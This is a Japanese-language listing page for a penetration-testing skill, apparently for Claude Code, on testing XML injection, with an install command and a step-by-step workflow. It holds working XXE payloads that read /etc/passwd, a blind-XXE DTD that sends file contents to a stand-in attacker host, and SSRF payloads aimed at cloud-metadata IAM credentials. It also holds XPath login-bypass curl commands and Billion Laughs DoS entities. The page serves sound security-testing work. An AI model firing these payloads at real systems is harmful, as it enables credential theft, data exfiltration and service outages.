mcpField
T
testing-for-xml-injection-vulnerabilities

testing-for-xml-injection-vulnerabilities

github.com/mukul975セキュリティ35.2k248 回インストール8 週間前に更新
リポジトリ

testing-for-xml-injection-vulnerabilities について

XML を扱うサービス、ファイル取り込み、SAML フローを検証するアプリケーションセキュリティ担当者向けの手順です。XXE、ブラインド XXE、XPath インジェクションと関連リスクの確認を扱います。

主な機能

  1. 01XML 処理エンドポイントの特定
  2. 02XXE によるファイル取得の検証
  3. 03帯域外通信によるブラインド XXE の検出
  4. 04XXE 経由の SSRF の確認
  5. 05XPath インジェクションとエンティティ展開の検証

活用シーン

  1. 01SOAP または XML API の評価
  2. 02SAML 認証フローのテスト
  3. 03XML ファイル取り込み機能の確認
  4. 04SVG アップロード時の XML 解析リスク確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-for-xml-injection-vulnerabilities

インストール後、Claude Code で/testing-for-xml-injection-vulnerabilitiesを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
references/
api-reference.md
scripts/
agent.py

詳細

XML インジェクションの脆弱性テスト

使用する場面

  • SOAP API、XML-RPC、ファイルアップロードなど、XML 入力を処理するアプリケーションをテストするとき
  • XML パーサーを使用するアプリケーションのペネトレーションテスト中
  • SAML ベースの認証実装を評価するとき
  • XML 形式を扱うファイルのインポート/エクスポート機能をテストするとき
  • SOAP または XML ベースの Web サービスの API セキュリティテスト中

前提条件

  • XML 関連の拡張機能(Content Type Converter、XXE Scanner)を備えた Burp Suite
  • XMLLint または同等の XML 検証ツール
  • XML 構造、DTD、エンティティ処理に関する知識
  • lxml および requests ライブラリを備えた Python 3.x
  • 帯域外インタラクションサーバー(Burp Collaborator、interact.sh)へのアクセス
  • PayloadsAllTheThings リポジトリの XXE ペイロードのサンプル

ワークフロー

ステップ 1 — XML 処理エンドポイントを特定する
# Look for endpoints accepting XML content types
# Content-Type: application/xml, text/xml, application/soap+xml
# Check WSDL files for SOAP services
curl -s http://target.com/service?wsdl

# Test if endpoint accepts XML by changing Content-Type
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><root><test>hello</test></root>'

# Check for XML file upload functionality
# Look for .xml, .svg, .xlsx, .docx file processing
ステップ 2 — 基本的な XXE(ファイル取得)をテストする

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root><data>&xxe;</data></root>


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<root><data>&xxe;</data></root>
ステップ 3 — 帯域外検出でブラインド XXE をテストする

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker-server.com/xxe.dtd">
  %xxe;
]>
<root><data>test</data></root>


<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker-server.com/?data=%file;'>">
%eval;
%exfil;


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://xxe-test.burpcollaborator.net">
]>
<root><data>&xxe;</data></root>
ステップ 4 — XXE による SSRF をテストする

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root><data>&xxe;</data></root>


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><data>&xxe;</data></root>


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-server:8080/">
]>
<root><data>&xxe;</data></root>
ステップ 5 — XPath インジェクションをテストする
# Basic XPath injection in search parameters
curl "http://target.com/search?query=' or '1'='1"

# XPath authentication bypass
curl -X POST http://target.com/login \
  -d "username=' or '1'='1&password=' or '1'='1"

# XPath data extraction
curl "http://target.com/search?query=' or 1=1 or ''='"

# Blind XPath injection with boolean-based extraction
curl "http://target.com/search?query=' or string-length(//user[1]/password)=8 or ''='"
curl "http://target.com/search?query=' or substring(//user[1]/password,1,1)='a' or ''='"
ステップ 6 — XML Billion Laughs(DoS)をテストする

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<root><data>&lol4;</data></root>


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY a "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
]>
<root>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;</root>

重要な概念

概念説明
XXE(XML 外部エンティティ)外部エンティティ参照を処理する XML パーサーを悪用する攻撃
ブラインド XXEレスポンスに結果が反映されない XXE。帯域外チャネルが必要です
XPath インジェクションXML ドキュメントのナビゲーションに使用される XPath クエリへのインジェクション
DTD(ドキュメント型定義)XML ドキュメントの構造とエンティティを定義する宣言
パラメーターエンティティブラインド XXE の悪用に DTD 内で使用される特殊なエンティティ(%)
XXE による SSRFXXE を使用して、サーバー側から内部リソースへリクエストを送信すること
XML ボムエンティティの再帰的な展開(Billion Laughs)によるサービス拒否

ツールとシステム

ツール目的
Burp Suite自動検出用の XXE Scanner 拡張機能を備えた HTTP プロキシ
XXEinjectorXXE インジェクションとデータ流出を自動化するツール
OXML_XXEOffice XML ドキュメントに XXE ペイロードを埋め込むツール
xmllintペイロードのテストに使用する XML 検証・解析ユーティリティ
interact.shブラインド XXE 検出用の帯域外インタラクションサーバー
Content Type ConverterXXE テスト用に JSON リクエストを XML に変換する Burp 拡張機能

よくあるシナリオ

  1. ファイルの開示 — XML 入力フィールドへの古典的な XXE エンティティインジェクションを通じて、機密性の高いサーバーファイル(/etc/passwd、web.config)を読み取る
  2. クラウドメタデータへの SSRF — XXE を通じて AWS/GCP/Azure のメタデータエンドポイントにアクセスし、IAM 認証情報やアクセストークンを盗む
  3. ブラインドデータ流出 — XXE の出力が反映されない場合に、帯域外 DNS/HTTP チャネルを通じて機密データを抽出する
  4. SAML XXE — シングルサインオン認証フロー中に SAML アサーションへ XXE ペイロードをインジェクションする
  5. SVG ファイルアップロード XXE — XXE ペイロードを含む悪意のある SVG ファイルをアップロードし、サーバー側の XML 解析を誘発する

出力形式

## XML Injection Assessment Report
- **Target**: http://target.com/api/xml-endpoint
- **Vulnerability Types Found**: XXE, Blind XXE, XPath Injection
- **Severity**: Critical

### Findings
| # | Type | Endpoint | Payload | Impact |
|---|------|----------|---------|--------|
| 1 | XXE File Read | POST /api/import | SYSTEM "file:///etc/passwd" | Local File Disclosure |
| 2 | Blind XXE | POST /api/upload | External DTD with OOB | Data Exfiltration |
| 3 | SSRF via XXE | POST /api/parse | SYSTEM "http://169.254.169.254/" | Cloud Credential Theft |

### Remediation
- Disable external entity processing in XML parser configuration
- Use JSON instead of XML where possible
- Implement XML schema validation with strict DTD restrictions
- Block outbound connections from XML processing services

コメント